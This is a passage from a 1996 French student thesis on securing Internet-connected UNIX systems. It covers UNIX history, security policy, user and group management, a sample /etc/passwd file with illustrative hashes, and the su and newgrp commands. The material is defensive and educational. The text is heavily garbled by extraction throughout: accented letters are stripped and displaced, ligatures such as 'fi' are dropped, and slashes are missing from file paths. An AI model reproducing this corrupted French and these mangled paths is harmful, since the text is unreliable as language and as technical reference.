Ecole Nationale sup rieure d'Informatique et e de Math matiques Appliqu es de Grenoble e e Institut National Polytechnique de Grenoble

Introduction la s curit a e e des syst mes UNIX e connect s Internet e a

Pascal Brunox Ann e sp ciale informatique 1995 96 e e Juin 1996.

2

TABLE DES MATIERES

3

Table des mati res e
1 G n ralit s ee e
1.1 UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . 1.1.1 Histoire d'UNIX . . . . . . . . . . . . . . . . 1.1.2 S curit sous UNIX ? . . . . . . . . . . . . . . e e 1.2 Politique de s curit . . . . . . . . . . . . . . . . . . e e 1.2.1 La s curit est l'a aire de tous . . . . . . . . e e 1.2.2 Etapes pour la mise en place d'une politique 1.2.3 R sum . . . . . . . . . . . . . . . . . . . . . e e . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

11
11 11 13 14 15 15 16

2

2.1 Les utilisateurs . . . . . . . . . . . . . . . 2.1.1 Les utilisateurs au sens d'UNIX . 2.1.2 Le chier etc passwd . . . . . . . 2.1.3 La commande su . . . . . . . . . . 2.2 Les groupes . . . . . . . . . . . . . . . . . 2.2.1 Int r^t des groupes . . . . . . . . . ee 2.2.2 Le chier etc group . . . . . . . . 2.2.3 La commande newgrp . . . . . . . 2.3 Vuln rabilit des chiers passwd et group e e

UNIX

et les utilisateurs

. . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

17
17 17 18 19 20 20 20 21 22

3 L' pineux probl me des mots de passe e e

3.1 Le m canisme . . . . . . . . . . . . . . . . . e 3.1.1 Principe d'identi cation . . . . . . . 3.1.2 Principe de cryptage . . . . . . . . . 3.2 Les dangers relatifs aux mots de passe . . . 3.2.1 Les attaques de type dictionnaire" 3.2.2 Les ordinateurs reni eurs . . . . . . 3.2.3 Tenir en chec les dictionnaires . . . e 3.2.4 Tenir en chec les reni eurs . . . . . e

23
23 23 24 25 25 26 27 29

4 Le syst me de chiers UNIX e

4.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.1.1 Fichiers et noeuds . . . . . . . . . . . . . . . . . . . . . . .

31
31 31

4
4.1.2 La commande ls . . . . . 4.2 Les permissions . . . . . . . . . . 4.2.1 Permissions de chier . . 4.2.2 Permissions de r pertoires e 4.2.3 SUID, SGID et sticky bit 4.3 Deux commandes utiles . . . . . 4.3.1 La commande chmod . . 4.3.2 La commande umask . . . 4.4 Supprimer les chiers bizarres" 4.5 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

TABLE DES MATIERES
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32 32 33 34 35 38 38 38 39 40

5 Les menaces programm es e

5.1 Classement des menaces . . . . . . . 5.1.1 Les outils de s curit . . . . . e e 5.1.2 Les portes d rob es . . . . . e e 5.1.3 Les bombes logiques . . . . . 5.1.4 Les chevaux de Troie . . . . . 5.1.5 Les virus . . . . . . . . . . . 5.1.6 Les vers . . . . . . . . . . . . 5.1.7 Les bact ries et autres lapins e 5.2 Se prot ger . . . . . . . . . . . . . . e 5.2.1 Pr cautions l mentaires . . . e ee 5.2.2 Prot ger son syst me . . . . . e e 5.2.3 Prot ger son compte . . . . . e

41
42 42 42 43 44 52 53 54 54 54 55 56

6

6.1 Les faiblesses de TCP IP . . . . . . . . . . . . . . 6.1.1 Introduction . . . . . . . . . . . . . . . . . 6.1.2 Probl mes potentiels . . . . . . . . . . . . . e 6.2 Les services TCP IP . . . . . . . . . . . . . . . . . 6.2.1 etc services . . . . . . . . . . . . . . . . . 6.2.2 etc inetd.conf ou de l'utilit des wrappers e 6.3 Quelques services . . . . . . . . . . . . . . . . . . . 6.3.1 systat . . . . . . . . . . . . . . . . . . . . . 6.3.2 FTP . . . . . . . . . . . . . . . . . . . . . . 6.3.3 Telnet . . . . . . . . . . . . . . . . . . . . . 6.3.4 SMTP . . . . . . . . . . . . . . . . . . . . . 6.3.5 DNS . . . . . . . . . . . . . . . . . . . . . . 6.3.6 nger . . . . . . . . . . . . . . . . . . . . . 6.3.7 HTTP . . . . . . . . . . . . . . . . . . . . . 6.3.8 POP . . . . . . . . . . . . . . . . . . . . . . 6.3.9 NNTP . . . . . . . . . . . . . . . . . . . . . 6.3.10 rlogin et rsh . . . . . . . . . . . . . . . . . . 6.3.11 Le d mon routed . . . . . . . . . . . . . . . e

TCP IP

59
59 59 60 63 63 64 66 66 67 69 69 70 70 71 71 71 72 72

TABLE DES MATIERES
6.3.12 UUCP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.3.13 X Window . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.3.14 Autres services : IRC ... . . . . . . . . . . . . . . . . . . .

5
73 73 73

A Les outils votre disposition a
A.1 Int grit : tripwire e e A.2 Mots de passe . . . A.2.1 Crack . . . A.2.2 npasswd . . A.3 R seaux . . . . . . e A.3.1 COPS . . . A.3.2 ISS . . . . . A.3.3 Satan . . . A.3.4 tcpwrapper A.3.5 Tiger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

. . . . . . . . . .

77
77 77 78 78 78 78 79 80 81 81

B V ri ez votre syst me e e Index

85 88

6

TABLE DES MATIERES

Remerciements
Je tiens remercier Serge Rouveyrol qui m'a permis, en me con ant ce sujet a de projet, de creuser un domaine qui me tenait particuli rement a coeur. e Merci galement tous les professeurs de l'ENSIMAG qui ont fait de cette e a ann e sp ciale une de mes plus agr ables ann es d' tude. e e e e e

7

8

Introduction
Ces derni res ann es, la s curit des syst mes informatiques connect s e e e e e e a Internet est devenue un probl me tr s pr occupant. e e e L'expansion croissante des r seaux informatiques, l'explosion du nombre des e utilisateurs font qu'il devient absolument vital d'analyser les risques que chaque syst me encourt et de r chir aux solutions que l'on peut adopter a n de r duire e ee e le danger au minimum.
Simson Gar nkel et Gene Spa ord rapportent dans 7 qu'une tude de e 1995, intitul e Computer Crime in America, a conclu que 98,5 des entreprises e interrog es avaient t les victimes d'attaques informatiques ; 43,3 d'entre elles e ee l'avaient t plus de 25 fois. Il y a l de quoi r chir, surtout lorsque l'on sait ee a ee que la majorit de ces incidents" ne sont jamais d couverts. e e

UNIX est videmment concern au premier chef par ces attaques. C'est en e e e et un syst me d'exploitation tr s utilis travers le monde et auquel bien des e e ea institutions sont attach es. Comment d s lors prot ger votre ordinateur? On s'en e e e doute, le sujet est tr s vaste et il n'est videmment pas question d'^tre exhaustif e e e dans ce m moire. e Notre premier objectif est de sensibiliser le lecteur par une introduction a certains probl mes dont il n'a peut-^tre pas conscience. Bien des administrateurs e e de syst mes informatiques savent que les utilisateurs sous-estiment souvent les e risques qu'ils courrent en la mati re. e Nous voudrions donc donner une vue d'ensemble des di rentes caract rise e tiques et vuln rabilit s d'UNIX. Il s'agira alors de mettre en lumi re certains e e e dangers et de proposer des solutions ponctuelles pour y parer.

9

Nous commenons ce m moire par un bref historique d'UNIX. Apr s un court c e e bilan sur le degr de s curit de ce syst me, nous insistons sur la n cessit de e e e e e e d nir avant tout une politique de s curit . e e e Les chapitres suivants pr sentent successivement la gestion des utilisateurs e sous UNIX et les probl mes que posent aujourd'hui les mots de passe. e Nous d crivons ensuite le syst me de chier UNIX. Nous insistons sur les e e risques induits par sa mauvaise utilisation et pr sentons ses particularit s. e e Les deux derniers chapitres de ce m moire sont respectivement consacr s aux e e menaces programm es et aux services TCP IP. Nous y pr cisons certains dangers e e et donnont quelques conseils utiles. Pour les personnes qui souhaiteraient approfondir les sujets voqu s dans ce e e document, nous recommandons vivement la lecture de 7 , ouvrage sur lequel nous nous sommes largement appuy s. Il s'agit d'un livre tr s complet qui a e e le m rite d'avoir une approche assez syst matique et tr s pratique de ces probl mes. e e e e Diverses sources d'information en franais donc savourer sont par ailleurs c a disponibles sur Internet. Veuillez s'il vous pla^t vous reporter la bibliographie
a qui se situe la n de ce m moire pour en prendre connaissance. a e

10

11

Chapitre 1 G n ralit s ee e
Nous pr sentons dans ce chapitre diverses consid rations qui peuvent aider e e a mieux cerner les probl mes de s curit sous UNIX. e e e En e et, il n'y a pas un UNIX mais une multitude d'impl mentations e di rentes qui pr sentent toutes des caract ristiques propres. Ainsi, il peut-^tre e e e e utile de conna^tre un peu l'histoire de ce syst me d'exploitation.
e Nous insistons ensuite sur la n cessit de se xer des objectifs clairs en mati re e e e de s curit . Il est videmment beaucoup plus facile de prot ger un syst me lorsque e e e e e l'on a une id e pr cise de ce que l'on veut autoriser ou pas. e e

1.1

UNIX

Il est vrai que certains pensent que les mots UNIX et s curit sont incompae e tibles. Pourtant UNIX a t bien am lior de ce point de vue depuis sa cr ation. ee e e e

1.1.1 Histoire d'UNIX
Au milieu des ann es 1960, AT&T, Honeywell, General Electric et le MIT e s'engag rent dans un projet nomm MULTICS. Il s'agissait alors de d velopper e e e un syst me d'information. Ce projet s'est r v l d s 1969 ^tre beaucoup trop e e ee e e ambitieux pour pouvoir aboutir dans les d lais. e C'est alors que Ken Thompson, chercheur chez AT&T qui avait travaill sur e le projet, d cida de reprendre certaines id es son compte. Il f^t rapidement e e a u rejoint par Dennis Ritchie. Peter Neumann sugg ra, non sans une certaine ironie, e

12
le nom d'UNIX pour le nouveau syst me. e

CHAPITRE 1. GENERALITES

L'ambition de ce syst me tait simple : ^tre capable de faire tourner des e e e programmes dans de bonnes conditions. Evidemment, la s curit n' tait pas alors e e e une des pr occupations d'origine. Toute personne ayant acc s l'ordinateur tait e e a e cens e pouvoir lui faire subir tout ce qu'elle voulait. e UNIX vit nalement le jour plusieurs mois avant MULTIX. Au l du temps, de nouvelles fonctions apparurent. En 1973, Thompson r crivit la plupart du ee syst me en langage C que venait d'inventer Dennis Ritchie. D s 1977, plus de 500 e e sites utilisaient UNIX. L'universit de Berkeley tait l'un d'eux. Au lieu de se contenter d'utiliser e e le syst me tel quel, deux tudiants, Bill Joy et Chuck Alley, commenc rent e e e a modi er les sources qu'ils avaient en leur possession a n de les am liorer. La e Berkeley Software Distribution BSD fut publi e en 1978 comme une s rie de e e programmes et d'am liorations pour le syst me UNIX. e e Durant les ann es qui suivirent, AT&T comprit qu'UNIX pouvait ^tre un e e excellent produit commercial. D s lors, le climat se durcit entre l'entreprise et e l'universit de Californie. Ainsi, la distribution 4.2 de BSD aurait du s'appeler e BSD 5.0. Mais les droits d'UNIX taient poss d s par AT&T : Berkeley n'aurait e ee alors plus eu la possibilit de distribuer sa version sans payer un lourd tribut la e a compagnie de t l communication. ee La fracture f^t d nitive lorsque AT&T d clara que la seule vraie version u e e d'UNIX tait leur nouveau System V, r solument incompatible avec BSD. e e Sun entra alors dans la danse en basant son syst me SunOS sur BSD 4.1c. e Cette soci t conn^t tr s t^t un grand succ s. Pour faire contrepoids, la majorit ee u e o e e des autres constructeurs adopt rent System V comme moule pour leur propre e syst me UNIX. e Une des pr occupations des acheteurs de syst mes informatiques dev^nt alors e e
de trouver une version d'UNIX standard susceptible de fonctionner avec des machines de di rentes origines. Les constructeurs, soucieux de r pondre aux e e attentes de leurs clients, commenc rent proposer des syst mes qui regroupaient e a e l'ensemble des fonctions des deux familles d'UNIX. Ainsi Sun signa avec AT&T un accord a n de d velopper System V Release 4 e SVR4 qui tait cens regrouper le meilleur de System V et de BSD. Solaris est e e le nom que Sun d cida de donner sa version de SVR4. e a

1.1. UNIX

13

Inquiets, les autres constructeurs cr rent l'Open Software Foundation OSF ee dont le but avou tait d'^ter AT&T le contr^le sur l' volution d'UNIX pour ee o a o e le placer entre les mains d'une coalition dont le seul objectif ne serait pas de maximiser ses pro ts. En 1996, la v ritable guerre que se livrent les di rents concurrents n'est e e toujours pas termin e. Heureusement, des d nitions standards de l'interface, e e des librairies et du comportement du syst me UNIX sont apparues. Il s'agit de e POSIX dont l'initiative revient IEEE et qui a t par la suite repris par ISO. a ee Des syst mes UNIX gratuits ont galement vu le jour. Linux 1 est un exemple e e que connaissent beaucoup d'entre nous. Il rencontre toujours plus de succ s aupr s e e des passionn s et commence a int resser quelques entreprises. e e 7 estime 5 millions le nombre d'ordinateurs sur lesquels UNIX est utilis . a e Ce succ s s'explique en grande partie parce qu'UNIX est bien adapt aux e e processeurs puissants dont l'on dispose aujourd'hui. Il est galement d^ au fait e u que les sources du syst me sont dans bien des cas disponibles. Chacun peut ainsi, e s'il le souhaite, les modi er pour les adapter ses propres besoins. a

Dans cette jungle que constituent les di rentes familles et impl mentations e e d'UNIX, on peut concevoir qu'administrer un r seau compos de di rentes e e e stations fonctionnant sous di rentes versions d'UNIX rel ve autant du grand art e e que du casse-t^te chinois. e En outre, UNIX n'a pas t conu d s le d part pour ^tre s^r. Dennis Ritchie ee c e e e u a crit ce propos : It was not designed from the start to be secure. It was e a designed with the necessary characteristics to make security serviceable". Le soucis premier des concepteurs d'UNIX tait en e et de permettre e a plusieurs utilisateurs de faire tourner en m^me temps divers programmes sans e avoir a sou rir d' ventuels con its. Ainsi, il fallait pr server l'int grit des chiers e e e e de chaque utilisateur et garantir qu'aucun programme ne soit en mesure de planter" le syst me. e En r alit , UNIX dispose maintenant en plus de ces m canismes de protection e e e de la m moire, de puissants dispositifs de contr^les d'acc s aux chiers cf. 4.1 et e o e d'utilisation des ressources du syst me. On retrouve donc en mati re de s curit le e e e e m^me ph nom ne que l'on observe pour toutes les fonctions d'UNIX. Celles ci ont e e e
1 cf. bibliographie pour de plus amples renseignements.
:

1.1.2 S curit sous UNIX ? e e

14

CHAPITRE 1. GENERALITES

t ajout es successivement au l des ann es par une multitude de d veloppeurs. ee e e e C'est l l'un des attraits de ce syst me : il est capable d' voluer. a e e Cependant, cela induit deux cons quences directes : e UNIX est un syst me composite. Chacune des briques dont il est form e e doit ne pas mettre en p ril la s curit du syst me entier. Peut-on ^tre s^r e e e e e u que tous les programmes que l'on ex cute ne comportent pas de trou de e s curit ? Il est di cile de r pondre par l'a rmative une telle question. e e e a Ensuite, UNIX est d j un syst me bien ^g . Son potentiel a fait qu'il a ea e ae su remarquablement s'adapter aux exigences croissantes des utilisateurs. Cependant, certaines des capacit s du syst me notamment en mati re de e e e r seau 2 sont maintenant d pass es en ce sens qu'elles n'ont absolument e e e pas t conues pour ce qu'Internet est devenu. C'est le cas par exemple du ee c m canisme dit de trusted port cf. 6.2.1. e Toutefois, il nous faut reconna^tre que les bugs pouvant mettre en p ril la
e s curit du syst me sont en g n ral rapidement corrig s d s leur d couverte. e e e ee e e e H las, les constructeurs tardent parfois int grer ces modi cations dans leurs e a e versions du syst me, ce qui peut conduire des situations dramatiques. e a Comme constate 7 , le miracle, c'est qu'on ait eu si peu de probl mes au e regard du nombre faramineux de personnes qui ont d velopp les programmes e e utilis s sous UNIX. Cela serait plut^t un gage de la robustesse du syst me. e o e Quant au deuxi me type de probl me, savoir l'inadaptation de certains e e a m canismes au contexte actuel, il devient n cessaire de r agir. Il y a fort parier e e e a qu'une fois encore UNIX s'adaptera ; certains outils disparaitront tandis que d'autres seront cr s qui correspondront mieux aux besoins du jour. ee

1.2 Politique de s curit e e
et e cace.
:

absolument n cessaire de d nir une politique pour agir de mani re construite e e e
2 Ces capacit s n'existaient bien s^r pas dans le syst me initial. Elles ont t d velope u e ee e p es en dehors d'UNIX, puis y ont t int gr es. e ee e e

La s curit des syst mes informatiques est un sujet tellement vaste qu'il est e e e

1.2. POLITIQUE DE SECURITE

15

1.2.1 La s curit est l'a aire de tous e e

3 crit : La s curit est une cha^ne. Un seul maillon faible fragilise l'ene e e
semble". UNIX est conu d'une telle mani re que le piratage d'un seul compte c e peut mettre en danger l'ensemble des utilisateurs. Un administateur syst me n'est e pas en mesure de garantir un niveau satisfaisant de s curit s'il est seul contre tous. e e Il est donc indispensable de sensibiliser tous les utilisateurs aux risques qu'ils courrent parfois sans en avoir la moindre id e. La cl du succ s r sident dans le e e e e degr d'implication, et donc d'information, de toutes les personnes concern es. e e L' tablissement d'une charte que chacun a signer, contribue une prise de e a a conscience globale : les r gles de s curit peuvent ^tre alors v cues comme un e e e e e ensemble de r gles librement consenties". e 3 et 10 insistent galement sur la n cessit d'impliquer la direction dans une e e e politique de s curit . 7 crit : e e e Si vous ^tes responsable de la s curit , mais n'avez aucune autorit e e e e pour mettre en place des r gles de bonne conduite ni pour sanctionner e les personnes qui les enfreignent, votre r^le se r duit simplement o e a celui de fusible quand un probl me survient." e Et il cite l'exemple de cet administrateur syst me qui, alert par plusieurs e e tentatives d'acc s au compte root, d couvre sur le compte d'un programmeur e e plusieurs mots de passe crack s". Il verrouille alors le compte de cet utilisateur e et alerte son sup rieur. Celui-ci lui demande de remettre en fonction ce compte e parce qu'il a besoin de ce programmeur pour nir un projet dans les d lais. e Trois mois plus tard, l'administrateur est licenci parce que quelqu'un a r ussi e e a p n trer dans le syst me informatis de paie. ee e e La mise en place d'une politique de s curit est donc une d marche conjointe e e e o la direction, les utilisateurs et les administateurs syst mes doivent faire front. u e

Il n'est pas possible de garantir qu'un syst me informatique soit s^r 100, e u a ne serait-ce parce qu'on ne sait jamais quels bugs peuvent gurer dans les programmes que l'on utilise. La s curit est donc un compromis. e e Ce compromis est bien entendu nancier. Il faut donc recenser ce que l'on a prot ger. Cela para^t peut-^tre b^te au premier abord mais c'est une tape a e
e e e indispensable. Elle permet notamment d'avoir une vision globale des choses.

1.2.2 Etapes pour la mise en place d'une politique

16

CHAPITRE 1. GENERALITES

Puis, pour chaque l ment de la liste tablie ci-dessus, on peut essayer de ee e chi rer les risques et leurs cons quences. Combien vous co^terait la panne d'un e u de vos serveurs pendant une semaine suite a un acte de piratage? On envisage alors de faire un inventaire des solutions mat rielles et logicielles e disponibles en fonction de leur co^t. Le but atteindre est le suivant cf. 3  : u a ^tre su samment dissuasif". e C'est ici que se pr sente une alternative : e Autoriser tout ce qui n'est pas explicitement interdit. Interdire tout ce qui n'est pas explicitement autoris . e En n, il est n cessaire que toute politique de s curit soit coh rente, ce qui e e e e n'est pas toujours trivial l' chelle de certains syst mes informatiques. Elle se a e e doit galement d'^tre vivante. e e Dans cette optique, il est bon de nommer un responsable s curit dont le e e travail sera d'^tre l'interlocuteur privil gi en la mati re. Ayant une vision globale e e e e du site et des probl mes, il sera en mesure d'initier les changements n cessaires. e e Car en mati re de s curit , les choses voluent tr s vite. e e e e e

Voici, rapidement r sum s, quelques-uns des points que nous avons voqu s e e e e dans les pr c dents paragraphes. ee Savoir ce que l'on doit prot ger et valuer soigneusement les risques. e e D nir en cons quence une politique globale. e e Adopter les moyens techniques n cessaires la r alisation de cette politique. e a e Informer, sensibiliser, responsabiliser chacun. La s curit est principalement une a aire de bon sens. e e

1.2.3 R sum e e

17

Chapitre 2 UNIX et les utilisateurs
Nous montrons dans ce chapitre, comment UNIX g re les utilisateurs de mae ni re individuelle tout d'abord, puis comment ces utilisateurs peuvent ^tre associ s e e e au sein de groupes. Il est essentiel de comprendre ces m canismes puique c'est sur e eux que repose une bonne partie du contr^le d'acc s aux chiers. o e

2.1 Les utilisateurs

2.1.1 Les utilisateurs au sens d'UNIX

Bien que tout utilisateur, ait un nom pouvant comporter jusqu' 8 caract res, a e UNIX repr sente chacun d'entre eux par un nombre appel User Identi er UID. e e En principe, un UID correspond un seul utilisateur bien que l'administateur a syst me puisse en d cider autrement. e e Les UID sont historiquement des entiers non sign s repr sent s sur 16 bits. e e e Certaines versions d'UNIX commencent a utiliser des UID cod s sur 32 bits. e Cette association nom de login | UID est faite dans le chier etc passwd cf. 2.1.2. Chaque utilisateur a un r pertoire home ; il peut y cr er ses chiers de travail. e e Il est donc vident qu' chaque personne physique utilisant l'ordinateur doit ^tre e a e associ au moins un utilisateur UNIX. Faute de quoi, on n'est plus en mesure de e garantir l'int grit et la con dentialit des donn es de chacun. e e e e Parmi les utilisateurs UNIX, certains sont particuliers: root est le super-utilisateur; il cr e les comptes et se charge des t^ches syse a t mes ; e

18

CHAPITRE 2. UNIX ET LES UTILISATEURS
daemon ou sys g re les aspects r seaux du syst me ; il est galement quelquee e e e fois associ d'autres programmes tels que les gestionnaires d'impression; ea ftp est utilis pour l'acc s au syst me en FTP anonyme ; e e e et bien d'autres encore 1 ... Plusieurs remarques peuvent ^tre faites ici. e 1. Les noms d'utilisateurs cit s ci-dessus n'ont rien de magique en eux-m^mes. e e Un utilisateur root qui aurait un UID de 103 n'aurait strictement pas plus de droits qu'un utilisateur normal. 2. Tous les livres que l'on peut lire concernant l'administration de syst mes e UNIX recommandent vivement de ne jamais faire son travail de tous les jours en tant que super-utilisateur: une erreur est si vite arriv e ... e 3. Il est en g n ral d conseill de cr er d'autres utilisateurs que root avec un ee e e e UID 0. Ce seul point d'attaque su t d j amplement. Nul besoin de donner ea a un pirate une deuxi me chance de trouver un mot de passe lui donnant e acc s complet votre syst me. e a e

2.1.2 Le chier etc passwd

Le chier etc passwd est en r alit une grande table de correspondance. Il est e e lisible par tout utilisateur. On y trouve pour chaque nom de login : le mot de passe 2 de l'utilisateur ... crypt soulag ? Vous avez peut-^tre e e e tort. ; le UID de l'utilisateur ; le GID de l'utilisateur cf. 2.2.1 ; le nom de l'utilisateur dans la vie de tous les jours ; son r pertoire home ; e son shell pr f r , ou celui qu'on lui impose ; eee Ci-dessous se trouve un exemple de chier passwd.
root:12dGe12ge35qF:0:0:root: users root: bin bash bin:*:1:1:bin: bin: daemon:*:2:2:daemon: sbin:

1 Cf. 7 pour une liste plus compl te. e 2 Cela n'est plus toujours vrai cf. m canisme de shadow password au 3.2.3. e
: :

2.1. LES UTILISATEURS
mail:*:8:12:mail: var spool mail: news:*:9:13:news: usr lib news: ftp:*:404:1:: var spool ftp: pascal:12dGeg5AqFdhr2:500:100:Pascal: users pascal: bin tcsh brn:34Fdfg5AqFdhr:501:100:Moi ??: users brn: bin bash

19

En regardant la derni re ligne de ce chier, on voit que l'utilisateur brn a un e UID de 501 et un GID de 100. Comme c'est un utilisateur p nible et qu'il est e seul ma^tre bord sur son modeste ordinateur il a mis Moi ?? au lieu de son nom
a en clair. Son r pertoire home est users brn et le shell qu'il utilise est bin bash. e Une * en lieu et place du mot de passe crypt signi e sur les syst mes tradie e tionnels que cet utilisateur a un compte verrouill . C'est le cas de bin par exemple. e

2.1.3 La commande su

La commande su est tr s pratique. Elle permet tout simplement de changer e temporairement le UID sous lequel vous voulez que le syst me vous voit. e Imaginez que vous soyez en train de travailler sur un terminal sous le nom de pascal comme vous le con rme la r ponse de la commande whoami qui gure e ci-dessous.
bash$ whoami pascal

Vous avez quelques commandes taper en tant que brn. Nul besoin de fermer a votre session de travail et d'en d marrer une nouvelle ! Tapez `su brn' ; donnez e le mot de passe de brn et le tour est jou . e
bash$ su brn Password: bash$ whoami brn

En e et, a l'appel de la commande su, UNIX ex cute une copie de votre shell e en lui a ectant un UID 3 qui correspond au nouvel utilisateur que vous voulez temporairement devenir. Vous n'avez plus qu' quitter ce shell lorsque vous voulez reprendre votre a pr c dente identit . ee e
3 La gestion des UID au niveau des processus n'est pas si simple que a en r alit cf. c e e 4.2.3.
:

20

CHAPITRE 2. UNIX ET LES UTILISATEURS

Cette commande peut bien-entendu ^tre utilis e pour devenir super-utilisateur. e e On comprend alors que toute tentative, fructueuse ou non, d'utilisation de la commande dans ce but soit enregistr e dans un chier journal. C'est un des moyens e dont dispose l'administrateur pour d terminer si quelqu'un essaie de deviner le mot e de passe du compte root. Un exemple d'enregistrement gurant dans ce chier se trouve ci-dessous.
May 29 22:41:05 su: FAILED SU brn on ttyp0 May 29 22:41:12 su: brn on ttyp0

2.2 Les groupes

Chaque utilisateur, comme nous l'avons d ni dans les paragraphes pr c dents, e ee appartient au moins un groupe. Ce groupe, que nous pourrions appeler groupe a de base, est celui dont le GID est associ au nom de login correspondant dans le e chier etc passwd. Comme nous le verrons au 4.1, les groupes sont le moyen pour plusieurs utilisateurs, qui travaillent sur un m^me projet par exemple, de partager des donn es. e e Un utilisateur tant susceptible d'^tre int gr dans plusieurs quipes, il est e e e e e naturel qu'il puisse galement ^tre membre de plus d'un groupe. e e Chaque groupe est repr sent par un GID de mani re similaire a la technique e e e employ e pour les utilisateurs. Le chier qui contient les informations sur les dife f rents groupes existants est le chier etc group. e

2.2.1 Int r^t des groupes ee

2.2.2 Le chier etc group
le nom du groupe ;

Ce chier comporte une suite de lignes form es de plusieurs champs : e le mot de passe  ventuel du groupe crypt comme le mot de passe utilisae e teur ; le GID du groupe ; la liste des noms d'utilisateurs membre de ce groupe peut ^tre vide. e

2.2. LES GROUPES
Voici ci-dessous un exemple de chier group.
root:*:0:root daemon:*:2:root,daemon wheel:*:10:root, brn floppy:*:11:root mail:*:12:mail news:*:13:news uucp:*:14:uucp users:*:100:games

21

Comme on le voit sur la gure qui suit, les utilisateurs brn et pascal font tous deux partie du groupe users. Ceci ne gure pas dans le chier etc group mais dans le chier etc passwd. En e et users GID 100 est le groupe de base de ces deux utilisateurs. En outre, brn fait galement partie du groupe wheel, tout comme root. e En revanche, uucp est seul dans le groupe uucp.
Groupe users

pascal

brn

Groupe wheel Groupe uucp

root

uucp Nom d’utilisateur Nom de groupe

2.2.3 La commande newgrp

La commande newgrp est le pendant pour les groupes de la commande su que nous avons voqu e au 2.1.3. e e

22

CHAPITRE 2. UNIX ET LES UTILISATEURS

Sur les versions d'UNIX d'AT&T ant rieure a SVR4, un utilisateur ne pouvait e ^tre consid r comme membre que d'un seul groupe a la fois. e ee Dans l'exemple du paragraphe pr c dent, l'utilisateur brn aurait alors t consiee ee d r comme membre du groupe users en ouvrant une session de travail. Pour faire ee valoir de mani re temporaire son appartenance au groupe wheel, il aurait d^ utie u liser la commande newgrp de la mani re suivante : e
bash$ newgrp wheel bash$

Sur les syst mes UNIX issus de BSD, lorsqu'un utilisateur ouvre une session e de travail, l'ensemble des chiers passwd et group est parcouru et l'utilisateur est consid r comme simultan ment membre de l'ensemble des groupes o il gure. ee e u La n cessit de la commande newgrp n'est alors plus vidente. e e e Toutefois, il faut remarquer que si newgrp permet galement de changer de e GID pour celui d'un groupe dont on n'est pas membre. C'est l qu'interviennent a les mots de passe de groupes. Cette commande peut donc conserver une utilit et e a en cons quence parfois surv cu jusqu' maintenant. e e a Dans la pratique, ces caract ristiques sont rarement utilis es. Elles ne sont pas e e disponibles sur tous les syst mes UNIX. e

2.3 Vuln rabilit des e e
group

chiers

passwd

et

La vuln rabilit de ces chiers tient essentiellement au choix qui a t fait e e ee a e l' poque de donner acc s tout le monde aux mots de passe crypt s des e a e utilisateurs et des groupes. Le chapitre suivant est enti rement consacr aux probl mes des mots de passe e e e sous UNIX.

23

Chapitre 3 L' pineux probl me des mots e e de passe
Ce chapitre pr sente les risques li s aux mots de passe. Apr s une explication du e e e m canisme mis en oeuvre sous UNIX, nous envisageons les divers types d'attaques e qui peuvent y ^tre port es et nous proposons quelques solutions. e e

3.1 Le m canisme e
Au d but de la longue histoire d'UNIX, les mots de passe n'existaient pas. La e s curit des ordinateurs reposait enti rement sur le contr^le de l'acc s aux locaux. e e e o e Quelques ann es seulement apr s la cr ation du syst me, 7 rapporte que les e e e e programmeurs confront s aux premiers m canismes de mots de passe trouvaient e e ce changement particuli rement nervant et inutile. e e C'est pourtant l ce qui constitue aujourd'hui la base de l'authenti cation des a utilisateurs sous la grande majorit des syst mes UNIX. e e

Un fois confront l'invite de sa machine, l'utilisateur d'UNIX doit, pour ea pouvoir travailler, s'identi er comme tant habilit utiliser l'ordinateur. e ea Le m canisme ultra-classique consiste donner un nom d'utilisateur suivi e a d'un mot de passe. UNIX cherche alors dans le chier etc passwd le nom entr , e puis, s'il a t trouv , le mot de passe saisi est crypt et compar avec celui qui ee e e e gure dans le m^me chier cf. 2.1.2. e

3.1.1 Principe d'identi cation

24

CHAPITRE 3. L'EPINEUX PROBLEME DES MOTS DE PASSE

En cas de correspondance des deux cha^nes de caract res crypt es, le syst me
